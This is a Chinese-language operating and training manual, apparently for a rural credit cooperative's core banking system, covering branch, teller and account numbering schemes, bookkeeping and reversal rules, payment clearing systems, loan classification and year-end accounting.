系统内机构分两种：一种为账务机构，一种为管理机构；所有有账务发生的机构全部视为账务机构。不参与账务处理的机构，纯粹为管理而存在的机构为管理机构。

机构号组成规则

前后台机构号由10位数字组成，其结构如下：

机构号1、2位数是省级，3、4位数是市级，5、6位数是县、区级联社顺序号，7、8、9、10位数是信用社顺序排列。

账务机构全部由数字组成,其机构顺序号最后一位均为奇数位。如1、3、5、7、9 管理机构与账务机构号组成规则一致，只是机构顺序号均为其账务柜员号顺序号后一位偶数位。如2、4、6、8、0 柜员定义

柜员概念

对应机构，系统内柜员也分两种：一种为账务柜员，在综合业务系统中从事与其自身权限相应的账务处理，查询打印、授权等操作；一种为非账务柜员，非账务柜员只能进行相关查询及管理操作，不能进行账务处理。柜员号组成规则

前后台柜员号由6位数字组成，其结构如下：

XXXX

XX

机构顺序号

柜员顺序号 自动柜员号

柜员号第一位以9开头的为自动柜员号 柜员级别

柜员级别采用两位长度，数字从下往上定义。比如：

00 普通柜员，10库管员，20主管，30主任 柜员角色定义

系统在柜员初始化时，暂时只分配以下几种柜员角色：

1、非账务柜员（只针对管理机构）

2、主任柜员：只可做授权、查询类交易；

3、主管柜员：只可做授权、查询类交易；

4、库管员：只可做涉及到现金、凭证库的交易； 所有的普通柜员需要由法人行社财务部进行建立。柜员流水号

柜员流水号为交易完成后记录的操作柜员的当天操作流水。柜员流水号由10位数字组成，其结构如下： XXXXXX XXXX 柜员号 顺序号

储蓄账号

储蓄账号为对私客户持有。

客户手中持有储蓄账号的组成结构如下（23位）：

XXXXXXXXXXXX

XXX

XXXXXXX

X 客户号12位

账户类型3位

顺序号(自动生成)7位

校验位1位 100XXXXXXXXX00000016、32 对公账号

系统内新开账号的组成结构如下（23位）：

XXXXXXXXXXXX

XXX

XXXXXXX

X 客户号12位

账户类型3位

顺序号(自动生成)7位

校验位1位

其中客户号为系统固定。系统内账号始终保持唯一。

内部账号、清算账号、柜员现金和凭证尾箱账号

这几种账号为系统内部账号，仅在系统内部使用，是非面向客户的账户号（25位）。内部账号的组成结构如下：

XXXXXXXXXX XX

XXXX

XXXXXXXX

X 机构号10位 币种2位

业务代号4位

账号序号8位

校验位1位 其中账号序号为业务代号下的账户细目序号。清算账号的组成结构如下：

XXXXXXXXXX XX

XXXX

XXXXXXXX

X 机构号10位 币种2位

业务代号4位

账号序号8位

校验位1位 清算账号中的账号序号为下级机构的机构号或一些特定业务代号。

如果清算账号的序号中使用了下级机构号，则账号序号中存放机构号的1、2位＋4位机构序号，不足前补0。

注意：如果修改了清算表中的代理清算行，那么该代理清算行必须同时新开所有下属机构的清算账号。

柜员现金尾箱账号的组成结构如下：

XXXXXXXXXX XX

XXXX

XXXXXXXX

X 机构号10位 币种2位

业务代号4位

账号序号8位

校验位1位 其中账号序号处组成规则如下：00000XXX（前五位为0，后三位为柜员尾箱号）柜员凭证尾箱账号的组成结构如下：

XXXXXXXXXX XX

XXXX

XXXXXXXX

X 机构号10位 币种2位

业务代号4位

账号序号8位

校验位1位 其中账号序号处组成规则如下：前二位为凭证种类，后三位为柜员尾箱号）。

账户类型的定义

3位账户类型代码第一位用于区分各业务模块，后两位是各业务模块的相关细分和扩充位。目前分类：1－存款账户；2－贷款账户；3－股金账户

储蓄存折 101 对私活期 102

对私定期 103

对公活期 104

200

201

202 对公定期

对私一般贷款 对私消费贷款 对公一般贷款

203

对公消费贷款 204

抵押物 205

质押物 300

自然人股 301

职工股 302

法人股 303

其他股

客户号的定义

客户号为系统内所有对公或对私客户的识别号码。一个客户号可以有下属多个对私账户号或多个对公账户号、多个贷款账户号，对公基本账户只允许有一个。

客户号由12位字符组成(1位客户类别+10位顺序号＋1位校验位)，由系统在建立客户信息时自动生成。客户类别指1：为对私，2：对公。在系统内，客户号是唯一的。

清算方式

系统采用实时记账，夜间批处理清算的模式，清算方式采用层层向上清算的方式完成，即对于账务机构的上级清算行全部通过机构表中的参数控制，机构清算时至机构表中查找对应清算关系逐级来完成账务清算。

同时也解决了账务机构撤并的问题，如果有账务机构需要撤并时，只需要在机构表中更改其管理机构及清算行即可；如果有联社或地级联社撤并时，那么只需在机构表中更改其管理上级即可。

注意：如果代理清算行发生变动，同时必须在新的代理清算行机构,新开下属机构的所有清算账号，否则清算时会找不到清算账号。

清算流程

账务机构清算时，首先根据机构表中对应本机构的上级清算行完成该级清算，然后根据上级清算行至机构表中再找其对应的上级清算行，完成该级清算，这样逐层向上，以此类推，层次向上最终完成整个账务清算。

机构表中清算的定义

相关结构如下：

机构号

管理上级

清算上级

其中：

机构号为机构表中账务机构或管理机构，清算时管理机构不起作用； 管理上级是说明机构的上级管理机构；

清算上级用于说明该一账务机构在清算时应该把哪个账务机构来作为自己的清算机构，该机构为一账务机构；

会计科目

表内科目。该类科目用于核算银行资金的实际增减变动并反映在资产负债表等会计报表上，如上述银行会计科目表中所列的各科目。

表外科目。该类科目用于核算业务确已发生而尚未涉及到银行资金的实际增减变化，或不涉及到银行资金增减变化的重要业务事项，因此，该类科目不反映在会计报表以内。如：“应收托收款项”、“代收托收款项”、“有价单证”、“重要空白凭证”等。

会计科目内容

资产类1*、负债类2*、资产负债共同类4*、所有者权益类3*、或有资产负债类6*、损益类5*。前三类是资产负债表的科目，第五类是损益表的科目。

业务代号表及科目表

业务代号内部使用，科目表为金融业标准。对会计科目的细化，依据业务处理的方法和统计的要求进行编写。待销账序号

待销账序号说明的是挂账记录序号，待销账序号由9位组成，其结构如下： X

XXXX

XXXX 待销账类型

日期(MMDD)序号

待销账类型主要有：同城待销账、联行待销账、系统内待销账、其他待销账等； 日期：指该笔待销账挂账的日期；

序号从1开始累加；

待销账表中包含机构号及挂账金额存放账号；

凭证定义

本系统中凭证号由凭证种类2位数+10位凭证印刷号组成，印刷号不足10位的前补0。

记账方法

记账方法就是对发生的经济业务，按会计科目进行整理、分类和登记帐簿的方法。一般包括：记账方法的原理、记录方式、记账方向的符号、记账规则和试算平衡等几个要素。

会计凭证

银行会计凭证是银行各项业务和财务收支发生的书面证明，是银行办理货币资金收付和记账的依据，也是明确经济责任、核对账务和事后查考的根据。

银行会计凭证俗称“传票”，因为会计凭证往往需要在银行几个部门中传递。受理凭证时，必须根据有关业务要求认真审查，做到内容完整，符合规定。

传递做到准确及时、手续严密、办妥交接、先外后内、先急后缓。除另有规定外，凭证一律由内部人员传递。

凭证必须按日或定期装订，定期装订期最长不得超过十天。

装订的顺序，先表内科目，后表外科目，以统一会计科目排列顺序，表内科目按现收、现付、转借、转贷顺序排列，表外科目按收入、付出顺序排列，科目日结单在各科目凭证的前面，销号单附凭证最后。

业务类型组 由法人行社财务部或业务主管根据工作分工和柜员水平确定柜员所能办理业务的类型，共23种业务类型: A 储蓄、B 客户信息、C 对公、D 结算、E 贷款及贴现 F 投资及拆借、G 票据交换、H 银行及社内往来、I 现金及重要空白凭证管理

J 清算、K 中间业务、L 财务核算、内部账务、非生息资产、股本、M 现代支付、N 电话银行、企业银行、网络银行、O POS、ATM、CDM、P 管理交易、Q 公共交易、R 外汇买卖、S 机构日结及批处理、T 查询、U 稽核、V 信贷、W授权。

主管柜员无尾箱，库管员尾箱号为000，其他柜员的尾箱可由主管或主任柜员根据需要生成，尾箱号规则为柜员代号后三位。

如694105，柜员尾箱号105 日启流程：

柜员做机构签到 →柜员二做机构签到 → 机构签到

↓

↓

↓

机构状态：未签到

机构状态：已准备

机构状态：已签到

日终流程：

柜员现金碰库

柜员凭证碰库

→ 机构平账→ 机构日结 柜员平账检查

银行帐务组织包括明细核算和综合核算两大系统。

明细核算由分户账、登记簿、余额表组成；

综合核算由科目日结单和日计表组成。

综合业务总体操作流程：

柜员签到（双人）

↓

领取凭证及现金

↓

办理业务和打印上工作日账表和各种流水

↓

柜员现金和凭证碰库

↓

柜员平账检查、打印科目日结单和现金收付日记簿、打印表外汇总凭证、柜员正式签退

↓

机构平账、机构日结柜员签到（双人）

银行会计基本核算方法

账务处理

记账：记分户账、编科目日结单、登记总账 结账：日结、月结和结转

对账：每日核对与定期核对。账账、账款、账据、账实、账表和内外账务相符

会计基本核算符号与规范

人民币业务的会计核算以“元”为记账单位，元以下计至分，分以下四舍五入，元以上计数逗点采用三分位制。

凭证、单据、账折的各种代用符号：“第×号”、为“＃”；“每个”为“＠“；人民币元符号为“￥”；年、月、日简写顺序应自左而右“年/月/日”；年利率简写为“年％”；月利率简写为“月‰”；日利率简写为“日／万分之”；外币符号从国际惯例。阿拉伯数字不能连笔书写。阿拉伯数字前写有“￥”符号的，数字后面不再写“元”字；以“元”为单位的阿拉伯数字，一律写到角分，无角分的，应以“0”补足。

汉字大写金额数字一律用零、壹、贰、叁、肆、伍、陆、柒、捌、玖、拾、佰、仟、万、亿，正楷或行书字书写，不得任意造简化字。

大写金额数字到元或角为止的，在“元”或“角”之后应写“整”或“正”字；大写金额数字有分的，“分”字后面不写“整”字；大写数字金额前应有人民币字样，“人民币”与金额数字之间不得留有空白。

会计基本核算要求

(一)钱帐分管、相互制约；

(二)凭证要素齐全，传递及时；

(三)科目帐户，使用正确；

(四)当时记帐，帐折核对；

(五)现金收入，先收款后记帐；（六)现金付出，先记帐后付款；

(七)转帐业务，先记借后记贷；(八)他行票据，收妥进帐；

(九)有帐有据，帐据相符；

(十一)当日结帐，总分核对；

(十三)印押证机，分管分用；

(十五)会计档案，完整无损；

(十)帐表凭证，换人复核；(十二)内外帐务，定期核对；(十四)重要单证，严格管理；(十六)人员变动，交接清楚。

单位存款账户

1.基本存款帐户。它是存款人办理日常转帐结算和现金收付的主要的帐户。有关现金的支取和发放工资只能在基本帐户办理。按人民银行的规定，每一单位只能向银行开立一个基本帐户。

2.一般存款帐户。它是存款人在基本帐户以外的其他银行办理转帐结算、借款转存和现金缴存的帐户。它可以是存款人不在同一地点的附属非独立核算单位开立的帐户或因贷款需要而开立的。该帐户不能支取现金。(非人行审批账户)3.临时存款帐户。它是存款人因临时经营活动需要而开立的帐户。该帐户可以办理转帐结算和办理现金收付。可以开立的是：设立临时机构、异地临时经营活动、注册验资。有效期限最长不得超过二年。

4.专用存款帐户。它是存款人因特殊资金用途而需要开立的帐户。比如基本建设资金户，用于专项存储基本建设项目的投资费用，固定资产更新改造资金户，用于技术改造设备更新的专项支出。

注意事项:

一、综合业务系统录入信息要与人行备案的信息一致：

二、严格履行生效制度。经人行批准的账户，3个工作日后方可办理付款业务，但注册验资的临时存款账户转为基本存款账户和因借款转存开立的一般存款账户除外。

三、注册验资的临时存款账户在验资期间只收不付，注册验资资金的汇缴人要与出资人的名称一致。

四、账户要实行年检（组织机构代码，法人代表身份证要联网核查，身份证要双面复印）

五、开立账户需要的资料：营业执照、组织机构代码、税务登记证、法人代表身份证、申请书等资料，五、银行机构代码是指中国人民银行根据支付系统行名行号的编码规则，为银行机构和人行分支机构编制的，用于账户管理系统识别其身份的唯一标识。

银行机构代码为12位，3位行别代码，4位地位代码，4 位分支机构序号，1 位校验号组成。

客户信息管理

客户信息，是指客户申请开立对公、储蓄业务、贷款、股金等其他业务之前，柜员为其建立的客户资料记录。客户信息的管理是一个新的概念，它作为一个独立的模块存放于系统功能菜单中，与其他系统模块互相关联，但又相对独立。这样的结构，既便于管理，又能实现单个客户信息存放系统的唯一性，每条客户信息有唯一的客户号对应。

目前在“客户信息”交易模块中增设“不良账户客户信息”功能。该功能目的是某机构可将本机构开户对公、储蓄客户或贷款业务中，有欠息、赖账、透支等劣迹的客户情况，通过主管授权建立、删除、修改不良账户客户信息，以便本系统内其他机构能共享不良账户客户信息，及时掌握开户客户的账户情况，防止不良账户客户多头开户进行其他活动。客户信息模块主要包括：

(1)建立对公客户信息0200(2)删除对公客户信息0201(3)修改对公客户信息0202(4)查询类查询对公客户信息0206(5)查询对公客户信息（按户名）0207(6)对私正常信息建立对私客户信息0210(7)删除对私客户信息0213(8)修改对私客户信息0214(9)查询类查询对私客户信息0216(10)查询对私客户信息（按证件号）0217(11)查询对私客户信息（按卡账号）0218(12)查询对私客户信息（按户名）0219(13)不良信息建立不良账户客户信息0203(14)删除不良账户客户信息0204(15)修改不良账户客户信息0205(16)查询不良账户客户情况0209(17)修改客户姓名0228。

个人

证件种类：必选项，列表有：01.身份证 02.户口本 03.军官证 04.警官证 05.士兵证 06.文职干部证 07.护照 08港澳台回乡证09其他。

证件号码：必输项，输入正确的证件号码。身份证必须校验长度只能为15位或18位。系统实现对私客户号码的唯一性是靠判断证件种类和证件号码实现的，因此。柜员建立对私客户信息资料时请务必输入正确的证件种类和证件号码。客户重要凭证挂失（2240）、客户重要凭证解挂（2241）

如果是书面和密码双挂失，必须先做凭证更换后，才能做密码重置。凭证口头挂失后，在满足书面挂失条件后可以通过此交易进行书面挂失。

书面和密码挂失必须在原开户机构进行。密码挂失不允许口头挂失。金农卡密码挂失当天可办密码重置，存折和存单必须七天后才可办理密码重置业务。

柜员管理

机构柜员休假时，必须将柜员的工作状态设为离岗状态，上班后设为返岗状态。本交易只能是本机构主管柜员做。若主管柜员外出，可先在0105交易中设定代理柜员级别为20级别，并赋予代理柜员的必要权限，主管离开时由代理柜员代替该主管职责，将主管柜员卡设为离岗；主管正常上班时由代理柜员将主管柜员设为返岗，主管柜员将代理柜员设为离岗，本交易只能由本机构具有20权限的柜员做。

柜员级别分为4个等级：30为主任柜员：只可做授权、查询类交易。20为主管柜员：只可做授权、查询、非账务性交易。10为库管员：只做本机构的现金与凭证库存管理。00为账务柜员：可做一般账务交易等。当柜员类型选择ATM柜员或POS柜员时，柜员级别默认为00账务柜员，不允许修改。

更改柜员密码（柜员要定期和不定期更换密码，三个月以内必须更换密码）重置柜员密码（主管权限可重置柜员的密码）柜员强制签退（任意柜员都可以作柜员强制签退）

其他公共类

其他公共类交易主要有以下几部分构成：记账冲正类、特殊公共类、公共查询类、账号查询类。记账冲正类主要是根据柜员输入的借贷账户及金额完成记账功能，包括单方记账、表外记账、，一记双讫，一记多讫、冲账、补账以及红蓝字记账等交易；特殊公共类主要包括账户的冻结/解冻、控制/解控。公共查询类主要是查询并处理各种公共信息为其他交易提供参考，如查询交易流水、机构表、利率表、科目代号等；账号查询类提供了多种方式查询客户账号的功能。

本模块共有32个交易，主要包括：一记双讫（0051）、当日冲正（0052）、一借多贷/一贷多借（0053）、内部红蓝字冲正（0072）、查询上一笔交易（0001）、查询柜员账务交易流水账（0002）、查询机构表（0020）

冲正业务注意事项

（1）现金出、入库，若有差错，使用相反交易进行处理；柜员尾箱现金上缴、领用、1000存折定期开户，1120对公凭证更换0622储蓄存折换折，0600新开储蓄存折、2201总凭证入库、2202凭证库间调配2211柜员尾箱凭证上缴入库、2212柜员凭证尾箱领用，0050、0072交易等以上交易不能做0052冲正。

（2）贷款中的交易码以16、26、15开头的都不可以用，贷款有单独的1698冲正交易，但只提供当日冲正。

（3）同城业务中1410电子转账、1415内部资金汇划，不可以用0052冲正，若发起方录入错误，没有冲账功能，只有由入账单位通过1410退回。通过1411打印来帐后，用销账序号入账。

注：本交易非本柜员的交易流水不可以冲正，对公定期销户时，录入定期存款的本金金额，对公活期销户时，录入利息金额（若对公活期销户时，该户利息为0时，则用本交易冲正，金额为本金），冲正后已发售给对公客户的已作废的凭证不可以冲回，对私定期、活期销户都是录入本金金额进行冲正。

（4）对于原交易有产生待销账，且待销账在后续交易中已核销的错账，不能直接对该交易冲正，应先冲正核销待销账的交易，同理也适用于其它后续交易对原交易要素有影响的情况（发现隔笔账记错，应从后向前依次冲正）。

0060冻结/解冻业务

一、身份证。

二、执行公务证（县级以上）。

三、查询书、冻结书、或划款证明资料。

四、行长同意后，方可办理查询、冻结、扣划等手续。

冻结期限为6个月，6个月后自动解冻。0089司法扣划

1、扣划方式：根据列表可选择1活期储蓄存折扣划、2定期存单全部扣划、3定期存单部分扣划。

2、凭证介质：扣划方式选1时可选择0储蓄存折、1金农借记卡；扣划方式选2和3时默认为2存单。

3、该交易用于对定期存单或活期储蓄的司法扣划（不含定活两便的扣划）。

内部账管理

本模块完成的功能主要是：内部账开户、内部账销户、内部账修改、打印内部账分户账、内部账查询、内部账明细查询等。

内部账不需要通过客户号来管理，所以开户时不需要输入客户号，同时内部账的利率可通过主管授权来设定、修改；并可对本机构内部账进行修改，打印，查询及明细查询。内部账开户：其他应收款、其他应付款、存放同业款项可以在内部账开户。

综合柜员制

临柜柜员在严格授权管理、严格监控下，实行单人临柜，自我复核、自我约束、自我控制、自担风险。

临柜柜员按对公对私业务量及日均现金收付量确定窗口数量。每月至少全面检查2次重要空白凭证及有价单证与库存现金，日常应对柜员管理的重要空白凭证及现金进行定期不定期抽查，并按照“长款归公，短款自补”的原则处理。

临柜柜员领用重要空白凭证、有价单证必须坚持“谁领用、谁保管、谁负责”的原则，临柜柜员日常使用的重要空白凭证单证种类库存数量不应超过200份。按序号使用，坚持销号制度。柜员间不得调剂使用。

柜员必须按规定设置柜员卡密码，实行一人一卡，柜员密码必须相互保密。密码应当定期更换，任何人不得泄露或探问他人密码。卡随人走。使用指纹认证系统的机构，参照相关管理规定执行。

监控录像的管理应严格按照集中监控相关管理规定执行,监控录像的运行时间应与每个营业日的营业时间相同，录像在录制过程中，要保持连贯，不得随意间断。临柜柜员账务核算的基本规定：

（一）单人临柜，单收单付；

（二）凭卡操作，离柜签退；

（三）账款自核，人机核对；

（四）凭单/折/卡取款，当时核对；

（五）当时记账，一笔一清；

（六）人员变动，办理交接；

（七）互相制约，授权操作；

（八）款、章、证自管，专人专箱，自管自用，离柜收起；

（九）当日记账，账款相符；

（十）存款业务先收款后记账，取款业务先记账后付款，转账业务先记借后记贷；

（十一）加强账务核对，确保账账、账款、账实、账证、账表、内外账务六相符。

出纳现金票币整点工作 票币整点必须做到点准、墩齐、挑净、捆紧、盖章清楚。50元券、100元券纸币经点钞机初点后必须由手工进行复点。每把(卷)须盖带行号的经手人名章，每捆封签应标明单位行名行号、券别、金额、封捆日期，加盖带行号的封捆员和复核员名章。

出纳现金假币处理

发现假币，一律没收，并应当着客户的面在假币正、背面加盖带本行行号的“假币”戳记和经办员名章，同时开具假币收缴凭证，登记假币登记簿，将没收的假币连同一联假币收缴凭证一并入库保管。

如发现可疑币(券)，本行难以辨别真伪时，应向持币人说明情况，开具临时收缴凭证，将可疑币(券)及时报送上级管理部门或中国人民银行当地分支行进一步鉴别。如确系假币(券)，应通知持币人，收回临时收缴凭证，换开“假币收缴凭证”；如非假币(券)，亦应通知持币人，收回临时收缴凭证，并按面值予以兑付。入库保管的已没收假币(券)，应按照中国人民银行当地分支行规定上缴，并办好出库、交接手续，严防已没收假币(券)重新流入市场。

凡发现挖补、拼凑、揭去一面以及有意损坏、涂抹等被破坏的人民币，原则上均应没收。经追查如确系误收的，可按残缺人民币兑换办法给予兑换。

支付结算工作

大额支付系统处理各类支付业务信息时，其信息经过发起行—发起清算行—发报中心—国家处理中心—收报中心—接收清算行—接收行等七个环节。结算→电子联行→1410电子转账

贷款资产业务

贷款期限：短期、中期（1-5年）、长期贷款 还款方式 ：一次偿还和分期偿还

保障条件：信用、担保、贴现

质量和风险程度：正常、关注、次级、可疑和损失

贷款资产业务

五级分类定义：

正常类：借款人能够履行合同，没有足够理由怀疑贷款本息不能按时足额偿还。

关注类：尽管借款人目前有能力偿还本息，但是存在一些可能对偿还产生不利影响的因素。次级类：借款人的还款能力出现了明显问题，依靠其正常经营收入已无法保证足额偿还本息。可疑类：借款人无法足额偿还本息，即使执行抵押或担保也肯定造成一定损失。

损失类：在采取所有可能的措施和一切必要的法律程序后，本息仍无法收回或只能收回极少部分。

待处理抵债资产业务

指依法债权或担保物权而受偿于债务人、担保人或第三人的实物资产或财产权利。

固定资产业务

固定资产是指为生成商品、提供劳务、出租或经营管理而持有的,使用寿命超过一个会计,单位价值在2000元以上(含2000元)和同一批次购置在规定价值以上的有形资产，包括：房屋、建筑物、机器、机械、运输工具以及其他与经营活动有关的设备、器具、工具等。共同购建的大型计算机网络业务处理系统(包括硬件购置费及软件开发、购置费)，作为固定资产进行管理。

下列物品，不论单位价值大小，均为低值易耗品：密押机、点钞机、铁皮柜、保险柜、打捆机、计息机、记账机、验钞机、印鉴鉴别仪、计算机（不包括服务器）、终端、打印机（不包括高速行打）、打码机、压数机、打孔机、UPS电源等。本行低值易耗品采用一次摊入成本法。

固定资产应按月计提固定资产折旧，计入当期成本。当月投入使用的固定资产，从投入使用月份的次月起计提折旧；当月停止使用的固定资产，从停用月份的次月起停止计提折旧。

固定资产具体折旧年限，可根据固定资产的实际使用寿命，确定固定资产分类折旧年限。固定资产折旧年限按不低于以下规定的年限：

（一）房屋、建筑物为20年；

（二）机器、机械和其他生产设备为10年；

（三）与经营活动有关的器具、工具、家具等为5年；

（四）交通及运输工具为4年；

（五）电子设备为3年。

无形资产及其它资产业务

专利权、非专利技术、商标权、著作权、土地使用权、特许权、商誉等。其它资产：长期待摊费用、存出保证金等。

支付结算工作

大额支付系统逐笔实时处理支付业务，全额清算资金。大额支付系统运行工作日为国家法定工作日，受理业务时间：8：30 至 17：00 小额支付系统批量处理支付业务，轧差净额清算资金。小额支付系统实行7×24小时不间断运行。小额支付系统的系统工作日为自然日，其资金清算时间为大额支付系统的工作时间。处理查询查复要求规范、严谨、及时、准确；“有疑必查，有查必复，复必详尽，切实处理。大额支付系统内各级参与者要加强查询查复的管理，对有疑问或发生差错的支付业务，应在当日至迟下一个工作日上午发出查询，查复行应在收到查询信息的当日至迟下一个工作日上午予以查复。

小额支付系统处理的支付业务一经轧差即具有支付最终性，不可撤销。

支付信息由纸凭证转换为电子信息，或由电子信息转换为纸凭证，具有同等的支付效力。支付信息由纸凭证转换为电子信息，电子信息产生支付效力，纸凭证失去支付效力；电子信息转换为纸凭证，纸凭证产生支付效力，电子信息失去支付效力。

支付结算

支付结算业务实际是一项中间业务，也是银行会计核算的主要内容之一。资金清算业务实质是支撑经济活动的高速公路和基础设施。

国内支付结算与资金清算业务

支付结算业务是指单位、个人在社会经济活动中使用票据、信用卡和汇兑、委托收款、托收承付、信用证等结算方式进行货币给付及其资金清算的行为。

资金清算就是资金往来和债权债务关系的支付业务往来所产生的资金进行结清核算。资金清算业务是支付结算业务的延伸。银行是支付结算和资金清算的中介，也是连接国民经济各部门、各单位的纽带。

支付结算原则

恪守信用，履约付款;谁的钱进谁的账、由谁支配;银行不垫款 支付结算纪律

单位、个人纪律：四不准

不准出租出借账户、不准填发空头支票和远期支票、不准套用银行信用卡、不准无理拒绝付款。

银行纪律：十不准

不准以任何理由压票任意退票截留挪用客户和他行资金、不准无理拒绝支付应由银行支付的票据款项、不准受理无理拒付不扣少扣滞纳金、不准违章签发承兑贴现票据套取银行资金、不准签发空头银行汇票本票和办理空头汇款、不准在支付结算制度之外规定附加条件影响汇路畅通、不准违反规定为单位和个人开立账户、不准拒绝受理代理他行正常结算业务、不准放弃对企事业单位和个人违反结算纪律的制裁、不准逃避向人民银行转汇大额汇划款项。

支付结算责任

结算当事人包括：出票人、背书人、承兑人、保证人、持票人、付款人、收款人、银行和邮政部门等。

凡未按票据法规的规定处理，而影响他人利益的当事人，均应视情况不同，分别承担票据责任、民事责任、行政责任或刑事责任。

票据行为的特征

票据是指出票人约定自己或委托付款人在见票时或指定的日期向收款人或持票人无条件支付一定金额并可流通转让的有价证券，包括汇票、本票和支票。

要式性。即票据行为必须依照票据法的规定在票据上载明法定事项并交付。无因性。指票据行为不因票据的基础关系无效或有瑕疵而受影响。

文义性。指票据行为的内容完全依据票据上记载的文义而定，即使其与实质关系的内容不一致，仍按票据上的记载而产生效力。

独立性。指票据上的各个票据行为各自独立发生效力，不因其他票据行为的无效或有瑕疵而受影响。

票据行为

票据行为有出票、背书、承兑、保证、付款和追索权等

票据业务

支票、银行本票、银行汇票、商业汇票、信用卡、信用证、其他（汇兑、委托收款、托收承付）

银行大力发展票据业务原因：

（1）票据业务能帮助促进和拉动存款；

（2）票据业务可以满足企业希望获得快速、低廉的资金价格，使其原来不是它的信贷客户成了它的信贷客户，从而打破世袭的信贷市场格局；

（3）票据业务能够产生比同期短期贷款更优的综合收益。资金清算业务分类

同城清算与异地清算 往帐清算和来帐清算 本币清算和外币清算 全额实时清算（RTGS)与定时差额清算（DNS)资金清算业务体系

中国现代化支付系统（CNAPS)：人行按照我国支付清算需要，利用现代计算机技术和通信网络开发建设的，能够高效、安全处理各银行办理的异地、同城各种人民币支付业务及其资金清算和货币市场交易资金清算的应用系统。

中国现代化支付系统CNAPS主要由大额实时支付系统（HVPS）和小额批量支付系统（BEPS）两个业务系统组成。

通过现代化支付系统，将逐步形成一个以现代化支付系统为核心，银行行内系统为基础，各地同城票据交换所为补充的中国支付清算体系。

大额实时支付系统（HVPS）：1996年工程实施，2005年6月全国推广。目前金额起点是2元，所有的贷记业务都可以通过大额支付系统处理。大额支付系统采用逐笔、实时处理支付业务，实时清算资金的运作方式。

大额支付系统处理以下业务：人行规定金额起点以上的跨行贷记支付业务；金额起点以下的紧急跨行贷记支付业务及其他支付清算业务。通过大额支付系统可以办理大额支付系统机构之间点对点的汇兑、委收、托收承付以及人行天地对接联行业务。

因为在同一个城市、同一个商业银行分支只能开立一个清算账户，所以同一清算账户行辖属机构之间的支付业务不得使用支付系统处理。因为大额支付系统需要收费，一般商业银行还规定非资金调拨的系统内往来业务，不得使用该系统处理。小额批量支付系统（BEPS）：1996年工程实施，2006年6月全国推广。主要处理同城或异地5万元以下的跨行交易，可支持汇兑、委托收款、代发工资、实时缴税、实时扣税、通存通兑、公用事业费收缴、支票截留等多种支付工具和支付方式。

小额与大额共享清算资金，最大的区别在于批量处理支付业务，轧差净额清算资金。小额支付系统实行7*24小时不间断运行。工作日为自然日，清算时间为大额的工作时间。收到已轧差的贷记支付业务或已轧差的借记支付业务回执信息时应当贷记指定收款人账户，具支付最终性，不可撤销。

处理的跨行支付业务有：普通贷记（汇兑委收等）、定期贷记（代付工资保险金养老金）、实时贷记（储蓄通存等）、普通借记（人行机构间的借记等）、定期借记（代收煤电气费等）、实时借记（储蓄通兑、对公通兑等）、其它。

小额支付系统通存通兑业务是指个人客户通过代理行依托小额支付系统，对本人或他人在开户行开立的人民币个人存款账户实时办理资金转账、现金存取和账户信息查询业务。遵循“实时入账、定时清算”的原则。代理行和开户行实时完成本行客户的账务处理。小额系统定时完成代理行与开户行之间的资金清算。

系统内电子汇划业务：系统内因日常结算、资金清算和经营管理需要而划付、缴存、借贷款项的内部账务往来均属于电子汇划业务。内部资金汇划与清算，通存通兑清算，查询查复业务，实现各分支机构之间代收代付资金的实际清算。在支付清算体系中占基础地位。

基本做法：实存资金、同步清算、头寸控制、集中监督

中间业务

特征：一是发挥中间人的角色，做桥梁；二是不需要银行提供资金；三是以收取手续费为目的；四是中间业务产品是一种固定化了商业信誉的金融产品。

金融机构往来业务

金融机构往来业务是指商业银行与商业银行之间、商业银行与中央银行之间、商业银行与非银行金融机构之间，由于办理资金的调拨与缴存、款项的汇划与结算、资金的融通与拆借等原因而引起的资金账务往来。核算要求：

坚持“资金分开、独立核算”

商行在人行不得透支、计划内借款核定额度、留足备付金、同业拆借通过人行转账，不得取现

临时性资金占用及时清算 体现汇路畅通

经营成果与所有者权益

财务管理的目标：企业价值最大化

经营成果核算要求： 坚持“三性”原则

按会计准则行业会计制度正确进行损益核算 完善考核机制，积极探索降低成本的途径 实施稳健会计政策

经营成果

收入的核算科目 利息收入

金融机构往来收入 手续费收入 其他营业收入

投资收益

营业外收入（盘盈、捐赠、利得、政府补助等)

成本（指金融企业在业务经营过程中所消耗的各种资源的经济价值）利息支出

金融机构往来支出 手续费支出

费用（指业务经营中除记入成本支出之外的所有耗费，又叫期间费用）营业费用

其他营业支出 营业外支出 资产损失

利润

营业利润 利润总额 资产损失 所得税 净利润 所有者权益

是银行所有者对银行资产享有的经济利益。

所有者权益的会计核算构成：

实收资本、资本公积、盈余公积、一般准备、未分配利润

实收资本：股本

资本公积：资本溢价、接受捐赠、股权投资准备、关联交易差价、其他转入 盈余公积：法定、任意、储备与企业发展基金

一般准备：2005年《金融企业呆账准备提取管理办法》

未分配利润：分配顺序：扺补罚款、弥补亏损、提取法定盈余公积、提取一般准备、向投资者分配利润。

会计决算与会计报表

会计决算是商业银行一年来经营活动情况的全面总结。会计报表编制是会计决算不可缺少的重要工作。会计报表是相关信息使用者所需要的重要资料，也是管理者分析决策的依据。

会计决算

会计决算前的准备工作：

清理资金。清理现金、贷款，清理其他应收、应付款项和待处理结算款项、清理出票业务资金、待解付业务资金、清理银票保函信用证业务、清理通存通兑业务资金等

清查账务：会计科目、核对内外账务、往来账项等（存贷款对账、抵债资产核算、非应计贷款核算、清理贴现回购、核查发债及对外担保、核查对外投资、核查同业往来内部往来 清点实物：盘点、清理财产物资 核实损益：存贷利息、费用开支等 试算平衡

会计决算日的工作：

会计决算日的账务处理；

会计决算日的再核对和再检查：核对账务、检查各项库存； 结转损益；

会计决算报表及相关说明（报表种类、决算说明书、财务分析报告）； 报表审查（完整性、与月报核、勾稽关系、报表衔接）、上报和考核。

会计决算与会计报表小结

会计决算是会计核算的重要环节，是对一年来的业务活动及经营成果的所做的全面总结。会计决算前的准备工作尤其重要，为12月31日会计决算日作好准备。

会计的最终目的是向报表使用者提供决策有用的会计信息。资 产负债表、损益表、现金流量表等报表反映出银行这一会计主体一定期间的财务状况、财务业绩和现金流量的信息。

会计档案管理：

会计档案的内容：凭证类、账簿类、报告类和其他类 保管期限：

5、15年及永久保管

永久保管（决算报表、及汇总全辖决算报表、附表及决算分析资料、实收资本、存贷款开销户登记簿、客户挂失申书、补发存单、存折、收据及账销案存清单或资料、会计档案保管登记簿和档案销毁清单，机构撤销、合并交接清册、房屋购建的契据、需要永久保管其他资料 十五年（综合核算和明细核算的各种账、簿、卡，凭证及附件、月报表、专用章的领用、交接、保管、销毁情况登记簿）

